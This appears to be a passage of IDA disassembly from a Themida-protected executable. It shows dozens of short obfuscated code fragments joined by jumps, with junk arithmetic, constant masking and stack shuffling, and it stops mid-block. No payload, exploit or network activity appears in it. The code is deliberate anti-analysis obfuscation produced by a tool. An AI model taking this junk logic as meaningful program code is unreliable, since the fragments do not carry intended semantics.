		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_59C9D3
; ---------------------------------------------------------------------------


loc_5AB168:				; CODE XREF: Themida_:005AF1A9j
		shl	edi, 5
		push	ebp
		mov	ebp, 1CBB702Ch
		jmp	loc_59E31D
; ---------------------------------------------------------------------------


loc_5AB176:				; CODE XREF: Themida_:005A5DECj
		add	esp, 4
		mov	ecx, edx
		pop	edx
		sub	ecx, 4FD41267h
		push	ecx
		mov	ecx, 2DDE3A56h
		jmp	loc_59F05E
; ---------------------------------------------------------------------------


loc_5AB190:				; CODE XREF: Themida_:005A1E99j
					; Themida_:005AC5FDj
		push	edi
		mov	edi, 0EE77D35h
		and	edi, 28872078h
		jnp	loc_5A0728
		jmp	loc_5AC3DC
; ---------------------------------------------------------------------------


loc_5AB1A7:				; CODE XREF: Themida_:005A42DDj
		push	edx
		push	ebp
		mov	ebp, 2A0B2687h
		mov	edx, 137A18FBh
		add	edx, ebp
		jmp	loc_5A890B
; ---------------------------------------------------------------------------


loc_5AB1BA:				; CODE XREF: Themida_:005AE23Fj
		pop	ebp
		jmp	loc_5A4EEE
; ---------------------------------------------------------------------------


loc_5AB1C0:				; CODE XREF: Themida_:loc_5A625Cj
		jmp	loc_5A3697
; ---------------------------------------------------------------------------


loc_5AB1C5:				; CODE XREF: Themida_:00598EFEj
		mov	eax, ecx
		pop	ecx
		sub	ecx, eax
		jmp	loc_5A6CBE
; ---------------------------------------------------------------------------


loc_5AB1CF:				; CODE XREF: Themida_:005AD0B7j
		add	esp, 4
		add	esp, 4
		shr	ecx, 2
		sub	esp, 4
		jmp	loc_5A1B3D
; ---------------------------------------------------------------------------


loc_5AB1E6:				; CODE XREF: Themida_:005AB8E5j
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_5AA8BC
; ---------------------------------------------------------------------------


loc_5AB1F6:				; CODE XREF: Themida_:0059C889j
		mov	eax, 63ED1D0Ch
		add	ebx, eax
		pop	eax
		add	ebx, ebp
		sub	ebx, 63ED1D0Ch
		pop	ebp
		jmp	loc_5AE4EC
; ---------------------------------------------------------------------------


loc_5AB20C:				; CODE XREF: Themida_:0059D116j
					; Themida_:005A6AEEj
		pop	eax
		push	esi
		mov	esi, 460E59F4h
		add	edx, esi
		pop	esi
		add	edx, edi
		push	ecx
		mov	ecx, 2F8F1A5Bh
		push	ecx
		jmp	loc_5A3DC0
; ---------------------------------------------------------------------------


loc_5AB224:				; CODE XREF: Themida_:0059B279j
		mov	ebx, [esp]
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_5A9F35
; ---------------------------------------------------------------------------


loc_5AB232:				; CODE XREF: Themida_:005A364Ej
		push	eax
		mov	eax, 0F7418FBh
		jmp	loc_5A17AD
; ---------------------------------------------------------------------------


loc_5AB23D:				; CODE XREF: Themida_:005A8740j
		push	eax
		push	ecx
		mov	cl, 36h
		mov	al, cl
		pop	ecx
		shl	al, 1
		xor	al, 0A9h
		sub	bl, al
		pop	eax
		add	bl, 0A7h
		jmp	loc_5996DB
; ---------------------------------------------------------------------------


loc_5AB253:				; CODE XREF: Themida_:00599B05j
		sub	esi, 0FFFF7DFAh
		sub	edi, 6213661Bh
		add	edi, esi
		add	edi, 6213661Bh
		pop	esi
		xchg	edi, [esp]
		jmp	loc_5A7991
; ---------------------------------------------------------------------------


loc_5AB270:				; CODE XREF: Themida_:0059D61Bj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AB275:				; CODE XREF: Themida_:005A2722j
		add	ebp, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A983E
; ---------------------------------------------------------------------------


loc_5AB292:				; CODE XREF: Themida_:0059C7B3j
		mov	al, dl
		mov	bl, al
		mov	eax, [esp]
		add	esp, 4
		mov	al, bl
		pop	ebx
		push	ebx
		mov	bh, al
		mov	ch, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A525F
; ---------------------------------------------------------------------------


loc_5AB2AF:				; CODE XREF: Themida_:005AB432j
		add	esp, 4
		add	edx, ebx
		push	eax
		jmp	loc_5AEB2A
; ---------------------------------------------------------------------------


loc_5AB2BA:				; CODE XREF: Themida_:00598A88j
					; Themida_:00599B8Aj ...
		add	edi, ecx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_59BD03
; ---------------------------------------------------------------------------


loc_5AB2C7:				; CODE XREF: Themida_:005A04B9j
					; Themida_:005A0A10j
		js	loc_5AF1D5
		xor	ebp, 18604524h
		mov	edx, ebp
		pop	ebp
		jmp	loc_5999DB
; ---------------------------------------------------------------------------


loc_5AB2DB:				; CODE XREF: Themida_:005A81A4j
		shr	esi, 6
		sub	esi, 0DCC57E8Ch
		inc	esi
		sub	esi, 1
		push	ebx
		jmp	loc_59C096
; ---------------------------------------------------------------------------


loc_5AB2EE:				; CODE XREF: Themida_:0059F9FDj
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		jmp	loc_5A178A
; ---------------------------------------------------------------------------


loc_5AB2F9:				; CODE XREF: Themida_:loc_5983BEj
					; Themida_:005AE8E5j
		sub	ebx, 0D4E9EE90h
		jmp	loc_59ACA8
; ---------------------------------------------------------------------------


loc_5AB304:				; CODE XREF: Themida_:005AD743j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A043E
; ---------------------------------------------------------------------------


loc_5AB318:				; CODE XREF: Themida_:0059C522j
		shl	eax, 7
		jmp	loc_59DE57
; ---------------------------------------------------------------------------


loc_5AB320:				; CODE XREF: Themida_:005A99F4j
		add	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_5A8A90
; ---------------------------------------------------------------------------


loc_5AB35D:				; CODE XREF: Themida_:005A882Aj
		mov	[esp], ebp
		mov	ebp, 619B158Ah
		and	ebp, 747425ADh
		xor	ebp, 7D484F08h
		sub	ebp, 0E1F19B8Bh
		xor	ebx, ebp
		pop	ebp
		add	ebp, ebx
		pop	ebx
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_59CE12
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59F5C4
; ---------------------------------------------------------------------------


loc_5AB394:				; CODE XREF: Themida_:005AC32Dj
		jmp	loc_5A5587
; ---------------------------------------------------------------------------


loc_5AB399:				; CODE XREF: Themida_:005A0210j
		push	bx
		mov	bh, 53h
		jmp	loc_5AEFC8
; ---------------------------------------------------------------------------


loc_5AB3A2:				; CODE XREF: Themida_:005A3289j
		jmp	loc_59FF56
; ---------------------------------------------------------------------------


loc_5AB3A7:				; CODE XREF: Themida_:0059DFABj
		not	al
		shr	al, 6
		inc	al
		jmp	loc_59DB9C
; ---------------------------------------------------------------------------


loc_5AB3B3:				; CODE XREF: Themida_:005A08F7j
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 3DCD6FA2h
		jnb	loc_59CBB0
		xor	edx, 0A7E79CDEh
		mov	ecx, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5A51B2
; ---------------------------------------------------------------------------


loc_5AB3E5:				; CODE XREF: Themida_:005A029Ej
		mov	edi, 0FFFFFFFFh
		add	ebx, 47ED53A3h
		jmp	loc_5A697C
; ---------------------------------------------------------------------------


loc_5AB3F5:				; CODE XREF: Themida_:005AF1E5j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A9223
; ---------------------------------------------------------------------------


loc_5AB400:				; CODE XREF: Themida_:005A1982j
					; Themida_:005AF4CCj
		push	ebx
		mov	ebx, 4
		jmp	loc_5A6C15
; ---------------------------------------------------------------------------


loc_5AB40B:				; CODE XREF: Themida_:0059D3D6j
		push	ebx
		jmp	loc_5A0DEA
; ---------------------------------------------------------------------------


loc_5AB411:				; CODE XREF: Themida_:005ABA90j
		mov	[esp], esi
		jmp	loc_59AC69
; ---------------------------------------------------------------------------


loc_5AB419:				; CODE XREF: Themida_:005A61B9j
		mov	edi, [esp]
		jmp	loc_5A9EC8
; ---------------------------------------------------------------------------


loc_5AB421:				; CODE XREF: Themida_:0059C819j
					; Themida_:005A5D43j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 0
		mov	edx, ebx
		mov	ebx, [esp]
		jmp	loc_5AB2AF
; ---------------------------------------------------------------------------


loc_5AB437:				; CODE XREF: Themida_:005A774Cj
		xchg	ebx, edi
		sub	edi, 93DF9AF7h
		jmp	loc_59FF4E
; ---------------------------------------------------------------------------


loc_5AB444:				; CODE XREF: Themida_:loc_5AEC18j
		push	ebp
		mov	ebp, 54696268h
		jmp	loc_5ABBAC
; ---------------------------------------------------------------------------


loc_5AB44F:				; CODE XREF: Themida_:005A2917j
		dec	ebx
		xor	ebx, 0B01E19D3h
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A3B01
; ---------------------------------------------------------------------------


loc_5AB463:				; CODE XREF: Themida_:005A89E5j
		xor	bh, al
		pop	ax
		push	eax
		mov	al, 67h
		add	al, 0FAh
		js	loc_5A46CD
		xchg	cl, al
		not	cl
		push	edx
		mov	dl, cl
		mov	cl, al
		mov	al, dl
		pop	edx
		inc	al
		jle	loc_59A5E8
		jmp	loc_59B25D
; ---------------------------------------------------------------------------
		neg	ebx
		dec	ebx
		inc	ebx
		push	esi


loc_5AB490:				; CODE XREF: Themida_:005AA185j
		pop	cx
		shl	bh, 4
		jmp	loc_5A0D6F
; ---------------------------------------------------------------------------


loc_5AB49A:				; CODE XREF: Themida_:0059D813j
					; Themida_:005A077Ej
		sub	edi, 4DDF669Eh
		jmp	loc_5ABEE5
; ---------------------------------------------------------------------------


loc_5AB4A5:				; CODE XREF: Themida_:005AB6CEj
		pop	ebp
		jmp	loc_5A128E
; ---------------------------------------------------------------------------


loc_5AB4AB:				; CODE XREF: Themida_:005A13BAj
					; Themida_:005A46C8j
		mov	esp, [esp]
		movsx	cx, al
		push	small 72h
		mov	[esp], cx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AB4BF:				; CODE XREF: Themida_:005A7617j
		shl	edx, 2
		xor	edx, 0B0FF7D90h
		sub	edi, edx
		pop	edx
		jmp	loc_59963E
; ---------------------------------------------------------------------------


loc_5AB4D0:				; CODE XREF: Themida_:00598E57j
		push	edx
		mov	edx, 1AE54887h
		and	eax, edx
		pop	edx
		sub	eax, 201F0176h
		add	eax, 7FF12168h
		add	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	edx
		jmp	loc_59BA84
; ---------------------------------------------------------------------------


loc_5AB4F5:				; CODE XREF: Themida_:005A1DE3j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_59888D
; ---------------------------------------------------------------------------


loc_5AB518:				; CODE XREF: Themida_:0059B872j
					; Themida_:005AACCCj
		sub	eax, 1B473FF8h
		add	eax, ebx
		add	eax, 1B473FF8h
		pop	ebx
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2C74624Bh
		jmp	loc_5AD07A
; ---------------------------------------------------------------------------


loc_5AB546:				; CODE XREF: Themida_:005ABC86j
		push	288Ah
		jmp	loc_59D6A0
; ---------------------------------------------------------------------------


loc_5AB550:				; CODE XREF: Themida_:005AF053j
		sub	dh, 91h
		add	bl, dh
		pop	edx
		add	cl, bl
		jmp	loc_59C673
; ---------------------------------------------------------------------------


loc_5AB55D:				; CODE XREF: Themida_:005A223Dj
					; Themida_:loc_5A9089j
		pop	edi
		sub	edx, edi
		sub	edx, 62001644h
		pop	edi
		jmp	loc_5A03A3
; ---------------------------------------------------------------------------


loc_5AB56C:				; CODE XREF: Themida_:005AC4EDj
		mov	eax, 6DD62C4Ah
		xor	eax, edi
		pop	edi
		push	eax
		pop	ecx
		pop	eax
		shl	ecx, 8
		jmp	loc_59A872
; ---------------------------------------------------------------------------


loc_5AB57F:				; CODE XREF: Themida_:005A8A9Fj
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	62C3h
		jmp	loc_5AAC1B
; ---------------------------------------------------------------------------


loc_5AB599:				; CODE XREF: Themida_:005A9C8Bj
		add	esp, 4
		add	eax, 52CD0276h
		sub	eax, 4E34299Fh
		sub	eax, ebx
		add	eax, 4E34299Fh
		sub	eax, 52CD0276h
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_5A663A
; ---------------------------------------------------------------------------


loc_5AB5C6:				; CODE XREF: Themida_:loc_59B8F5j
		sub	eax, 0E67B9BB1h
		jmp	loc_5ACCFA
; ---------------------------------------------------------------------------


loc_5AB5D0:				; CODE XREF: Themida_:005A0E68j
		mov	esi, 0C566FF0h
		and	esi, 728547F4h
		not	esi
		add	esi, 3F110493h
		xor	esi, 1071CA4Eh
		jmp	loc_5AA040
; ---------------------------------------------------------------------------


loc_5AB5EE:				; CODE XREF: Themida_:005A079Bj
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5ABD43
; ---------------------------------------------------------------------------


loc_5AB5FC:				; CODE XREF: Themida_:005AE67Dj
		sub	bh, cl
		pop	cx
		push	ax
		push	edx
		mov	dl, 8Eh
		mov	ah, dl
		mov	edx, [esp]
		add	esp, 4
		and	bh, ah
		jmp	loc_5A1C3E
; ---------------------------------------------------------------------------


loc_5AB614:				; CODE XREF: Themida_:0059B8FEj
		mov	edi, 622B0BF6h
		push	5ED2h
		mov	[esp], edx
		mov	edx, 125E5A01h
		push	ebx
		mov	ebx, 3DD44C38h
		add	edx, ebx
		pop	ebx
		jmp	loc_5AEFED
; ---------------------------------------------------------------------------


loc_5AB634:				; CODE XREF: Themida_:005A46B6j
		dec	al
		jmp	loc_5A46C3
; ---------------------------------------------------------------------------


loc_5AB63B:				; CODE XREF: Themida_:00599C66j
		shr	esi, 7
		jnp	loc_5AA82A
		add	esi, 210C7189h
		jmp	loc_59EC83
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esp


loc_5AB652:				; CODE XREF: Themida_:00599A23j
		push	7824h
		mov	[esp], edx
		jmp	loc_5AC898
; ---------------------------------------------------------------------------


loc_5AB65F:				; CODE XREF: Themida_:005A1616j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AB664:				; CODE XREF: Themida_:0059E442j
		mov	[esp], eax
		push	ebx
		mov	bl, 1Fh
		mov	ah, bl
		pop	ebx
		jmp	loc_5A8817
; ---------------------------------------------------------------------------


loc_5AB672:				; CODE XREF: Themida_:00598ACDj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AB67B:				; CODE XREF: Themida_:005A384Bj
		pop	edi
		jmp	loc_5A8E40
; ---------------------------------------------------------------------------


loc_5AB681:				; CODE XREF: Themida_:0059F527j
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	67725F0h
		pop	ebp
		jmp	loc_5AAB5E
; ---------------------------------------------------------------------------


loc_5AB6AA:				; CODE XREF: Themida_:005A51D7j
		pop	ebx
		xchg	esi, [esp]
		jmp	loc_5A9E49
; ---------------------------------------------------------------------------


loc_5AB6B3:				; CODE XREF: Themida_:0059BAB2j
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5AB144
; ---------------------------------------------------------------------------


loc_5AB6C4:				; CODE XREF: Themida_:005A3D37j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5AB4A5
; ---------------------------------------------------------------------------


loc_5AB6D3:				; CODE XREF: Themida_:005ACE04j
		add	ecx, ebp
		push	eax
		mov	eax, 51FF0149h
		jmp	loc_5AE0CB
; ---------------------------------------------------------------------------


loc_5AB6E0:				; CODE XREF: Themida_:005A8D8Dj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5A211E
; ---------------------------------------------------------------------------


loc_5AB6EE:				; CODE XREF: Themida_:005A81D4j
		jbe	loc_5A6BB0
		xor	edx, 4A9E9949h
		push	6660h
		jmp	loc_5A5162
; ---------------------------------------------------------------------------


loc_5AB704:				; CODE XREF: Themida_:005A7477j
					; Themida_:005ADB09j
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AB714:				; CODE XREF: Themida_:005A8739j
		mov	dh, [esp]
		add	esp, 4
		push	eax
		mov	al, 6Dh
		and	dh, al
		pop	eax
		sub	dh, 71h
		add	ch, 45h
		jmp	loc_59A902
; ---------------------------------------------------------------------------


loc_5AB72B:				; CODE XREF: Themida_:005A8E20j
		xor	al, ch
		pop	ecx
		push	small 3940h
		mov	[esp], cx
		sub	esp, 4
		jmp	loc_5989A6
; ---------------------------------------------------------------------------


loc_5AB741:				; CODE XREF: Themida_:005ADB1Ej
		mov	eax, [esp]
		add	esp, 4
		pop	cx
		shr	bh, 2
		jz	loc_5AF07B
		jmp	loc_59AB30
; ---------------------------------------------------------------------------


loc_5AB75A:				; CODE XREF: Themida_:005A5E5Dj
		mov	ecx, [esp]
		jmp	loc_5AA25B
; ---------------------------------------------------------------------------


loc_5AB762:				; CODE XREF: Themida_:005A993Cj
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 1EC70CAAh
		sub	eax, ebx
		jmp	loc_5A7DEB
; ---------------------------------------------------------------------------


loc_5AB772:				; CODE XREF: Themida_:005A4D9Bj
		add	esp, 4
		push	esi
		push	28BFh
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_599CC8
; ---------------------------------------------------------------------------


loc_5AB791:				; CODE XREF: Themida_:005ABE32j
		mov	edx, 4
		jmp	loc_5A688E
; ---------------------------------------------------------------------------


loc_5AB79B:				; CODE XREF: Themida_:00599CF8j
		shr	edx, 6
		jmp	loc_5ABEC3
; ---------------------------------------------------------------------------


loc_5AB7A3:				; CODE XREF: Themida_:005A06DEj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A4898
; ---------------------------------------------------------------------------


loc_5AB7BB:				; CODE XREF: Themida_:0059A166j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AB7CB:				; CODE XREF: Themida_:0059A446j
		xor	ebx, 9C84D652h
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5AF1E3
; ---------------------------------------------------------------------------


loc_5AB7DE:				; CODE XREF: Themida_:005AE2E8j
		pop	esp
		mov	[esp], ebx
		push	edi
		push	20A32C03h
		jmp	loc_59DF7B
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dl, 0A1h
		add	al, dl
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 9Dh
		add	al, bl
		pop	ebx
		sub	al, 23h
		sub	al, bl
		add	al, 23h
		push	small 7D02h
		mov	[esp], cx
		jmp	loc_599CFD
; ---------------------------------------------------------------------------


loc_5AB812:				; CODE XREF: Themida_:005A2956j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5A75E2
; ---------------------------------------------------------------------------


loc_5AB820:				; CODE XREF: Themida_:005A1F6Cj
		pop	ecx
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	7219h
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], eax
		push	8E3h
		mov	[esp], ebx
		push	12A27447h
		mov	ebx, [esp]
		push	ebp
		jmp	loc_5AE946
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	722Ch
		mov	[esp], ebx
		push	5E64h
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5AAE15
; ---------------------------------------------------------------------------


loc_5AB874:				; CODE XREF: Themida_:00598597j
		add	esp, 4
		xor	cl, 21h
		sub	cl, 5Ah
		push	ebx
		mov	bl, 0EDh
		push	eax
		mov	al, 95h
		xor	al, 0ADh
		neg	al
		sub	al, 49h
		xor	bl, al
		jmp	loc_59A5AC
; ---------------------------------------------------------------------------


loc_5AB890:				; CODE XREF: Themida_:0059B3AAj
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [eax]
		jmp	loc_59889D
; ---------------------------------------------------------------------------


loc_5AB8AD:				; CODE XREF: Themida_:005A440Ej
		push	4C19h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_59AB9F
; ---------------------------------------------------------------------------


loc_5AB8C4:				; CODE XREF: Themida_:00598DEEj
					; Themida_:005AD4CDj
		push	esi
		push	0FFFh
		mov	[esp], edx
		jmp	loc_5A2C0A
; ---------------------------------------------------------------------------


loc_5AB8D2:				; CODE XREF: Themida_:0059B14Cj
					; Themida_:005A7388j
		sub	ebx, 5F967DA5h
		mov	edi, ebx
		pop	ebx
		push	ecx
		jmp	loc_5A6F62
; ---------------------------------------------------------------------------


loc_5AB8E1:				; CODE XREF: Themida_:005A1CAFj
		push	esp
		mov	ebx, [esp]
		jmp	loc_5AB1E6
; ---------------------------------------------------------------------------


loc_5AB8EA:				; CODE XREF: Themida_:0059DF69j
		push	esp
		jmp	loc_5A6549
; ---------------------------------------------------------------------------


loc_5AB8F0:				; CODE XREF: Themida_:005A0476j
		sub	edx, 48CF1EB6h
		sub	edx, ebx
		add	edx, 48CF1EB6h
		jmp	loc_5A3389
; ---------------------------------------------------------------------------


loc_5AB903:				; CODE XREF: Themida_:005AABAEj
		shl	ch, 7
		shl	ch, 3
		and	ch, 0D6h
		add	ch, 1
		jmp	loc_59F5FC
; ---------------------------------------------------------------------------


loc_5AB914:				; CODE XREF: Themida_:0059CD4Aj
		push	ebp
		push	2F60h
		jmp	loc_5AEB68
; ---------------------------------------------------------------------------


loc_5AB91F:				; CODE XREF: Themida_:00599E5Cj
		jz	loc_5A2828
		push	ecx
		mov	ecx, 54AD5F2Fh
		inc	ecx
		xor	ecx, 7EC40FF6h
		sub	edi, ecx
		pop	ecx
		add	edi, 25826B34h
		mov	edx, edi
		pop	edi
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 0B674FB8h
		or	edx, 262F7ABCh
		or	edx, 6FDA4C9Dh
		xor	edx, 6763E36Ch
		jmp	loc_5A4ADD
; ---------------------------------------------------------------------------


loc_5AB966:				; CODE XREF: Themida_:0059F755j
					; Themida_:005AA1C0j
		xor	edx, 7503011Bh
		jz	loc_59B5DD
		jmp	loc_5AC861
; ---------------------------------------------------------------------------


loc_5AB977:				; CODE XREF: Themida_:005AD5D5j
		push	edi
		mov	edi, 4AD8628Bh
		add	ebp, edi
		jmp	loc_5A7799
; ---------------------------------------------------------------------------


loc_5AB984:				; CODE XREF: Themida_:00599D1Dj
		add	eax, 0E8BB92D8h
		jmp	loc_5A241A
; ---------------------------------------------------------------------------


loc_5AB98E:				; CODE XREF: Themida_:005A8319j
		xchg	ecx, [esp]
		jmp	loc_5A475B
; ---------------------------------------------------------------------------


loc_5AB996:				; CODE XREF: Themida_:005A6B2Ej
		add	esp, 4
		pop	ebx
		push	ecx
		mov	ecx, 2C477FDAh
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5ADADF
; ---------------------------------------------------------------------------


loc_5AB9B0:				; CODE XREF: Themida_:005A62BCj
		mov	edi, eax
		pop	eax
		shr	edi, 8
		inc	edi
		neg	edi
		push	esi
		mov	esi, 34392363h
		and	esi, 4CB42418h
		and	esi, 5AA03593h
		sub	esi, 590A56AEh
		jmp	loc_5A8948
; ---------------------------------------------------------------------------


loc_5AB9D6:				; CODE XREF: Themida_:005A5D5Aj
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59DDDF
; ---------------------------------------------------------------------------


loc_5AB9E2:				; CODE XREF: Themida_:0059F8ECj
		shl	esi, 1
		or	esi, 4FFE345Eh
		add	esi, 0B0014AA6h
		add	ebp, 240C01FFh
		jmp	loc_59E9D5
; ---------------------------------------------------------------------------


loc_5AB9FB:				; CODE XREF: Themida_:005A066Ej
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_59CEF9
; ---------------------------------------------------------------------------


loc_5ABA09:				; CODE XREF: Themida_:005A313Dj
		mov	bh, dl
		mov	ch, bh
		pop	ebx
		pop	edx
		mov	dh, ch
		jmp	loc_59B7E4
; ---------------------------------------------------------------------------


loc_5ABA16:				; CODE XREF: Themida_:0059E740j
		add	esp, 4
		sub	ebx, 4AF255CFh
		jmp	loc_5AABD4
; ---------------------------------------------------------------------------


loc_5ABA27:				; CODE XREF: Themida_:005AD9DFj
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	edi, 0C883FC3Bh
		push	edi
		push	eax
		mov	eax, 600424D3h
		add	[esp+4], eax
		jmp	loc_5AEACA
; ---------------------------------------------------------------------------


loc_5ABA59:				; CODE XREF: Themida_:005984C9j
		push	dword ptr [esp+4]
		jmp	loc_59A709
; ---------------------------------------------------------------------------


loc_5ABA62:				; CODE XREF: Themida_:005A5593j
					; Themida_:005A8051j
		or	ebp, 0AA54ADCh
		and	ebp, 6BD0152Bh
		xor	ebp, 4BD97601h
		add	ecx, ebp
		pop	ebp
		add	edi, 0D5F2FE7h
		jmp	loc_59A16B
; ---------------------------------------------------------------------------


loc_5ABA82:				; CODE XREF: Themida_:005A7265j
		push	esi
		mov	esi, 433562F4h
		push	esi
		not	dword ptr [esp]
		pop	esi
		sub	esp, 4
		jmp	loc_5AB411
; ---------------------------------------------------------------------------


loc_5ABA95:				; CODE XREF: Themida_:005A7FF4j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_59C7B8
; ---------------------------------------------------------------------------


loc_5ABAA8:				; CODE XREF: Themida_:005A9159j
					; Themida_:005A9375j
		mov	cl, 81h
		push	ebx
		push	edx
		push	ecx
		mov	cl, 0ABh
		jmp	loc_59D0AA
; ---------------------------------------------------------------------------


loc_5ABAB4:				; CODE XREF: Themida_:0059D889j
					; Themida_:005AAABAj
		and	edx, 36137A5Eh
		and	edx, 3FDA6013h
		jmp	loc_5A2D95
; ---------------------------------------------------------------------------


loc_5ABAC5:				; CODE XREF: Themida_:005ABDFBj
		push	18B20DA4h
		pop	ebp
		or	ebp, 4E644E11h
		jbe	loc_598A76
		and	ebp, 1A31413Ch
		and	ebp, 5DE04D86h
		sub	ebp, 10F5C4B2h
		mov	esi, ebp
		pop	ebp
		sub	esi, 72A7C4Eh
		add	ebp, esi
		jmp	loc_5AF0E8
; ---------------------------------------------------------------------------


loc_5ABAF9:				; CODE XREF: Themida_:005A5272j
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ABB01:				; CODE XREF: Themida_:005A7FBFj
					; Themida_:loc_5AAB7Aj
		mov	esi, [esp]
		jmp	loc_5A2110
; ---------------------------------------------------------------------------


loc_5ABB09:				; CODE XREF: Themida_:0059BF72j
		mov	[esp], ecx
		jmp	loc_5A570E
; ---------------------------------------------------------------------------


loc_5ABB11:				; CODE XREF: Themida_:loc_59C74Dj
		jmp	loc_5A486B
; ---------------------------------------------------------------------------


loc_5ABB16:				; CODE XREF: Themida_:005A5253j
		xor	al, 25h
		jmp	loc_5A6060
; ---------------------------------------------------------------------------


loc_5ABB1D:				; CODE XREF: Themida_:005A3078j
					; Themida_:005AD493j
		sub	esi, 3FA253h
		sub	eax, 0DEC74BAh
		add	eax, esi
		add	eax, 0DEC74BAh
		push	dword ptr [esp]
		jmp	loc_5A9435
; ---------------------------------------------------------------------------


loc_5ABB37:				; CODE XREF: Themida_:005A4D34j
		pop	edx
		jmp	loc_59B51D
; ---------------------------------------------------------------------------


loc_5ABB3D:				; CODE XREF: Themida_:005A63F5j
		and	edi, 15FD699Ch
		xor	edi, 74F571ACh
		sub	edi, 0F6D12C0h
		xor	edi, 2104665Fh
		jmp	loc_5AE327
; ---------------------------------------------------------------------------


loc_5ABB5A:				; CODE XREF: Themida_:005A35C2j
		sub	ebx, 57A30324h
		and	ebx, 14355E2Fh
		or	ebx, 61CB6B7Eh
		dec	ebx
		jmp	loc_59EEE5
; ---------------------------------------------------------------------------


loc_5ABB72:				; CODE XREF: Themida_:0059E5EAj
		neg	ch
		push	edx
		mov	dl, ch
		jmp	loc_5A9D4F
; ---------------------------------------------------------------------------


loc_5ABB7C:				; CODE XREF: Themida_:005A3BF5j
		xor	dh, ch
		pop	ecx
		mov	bl, dh
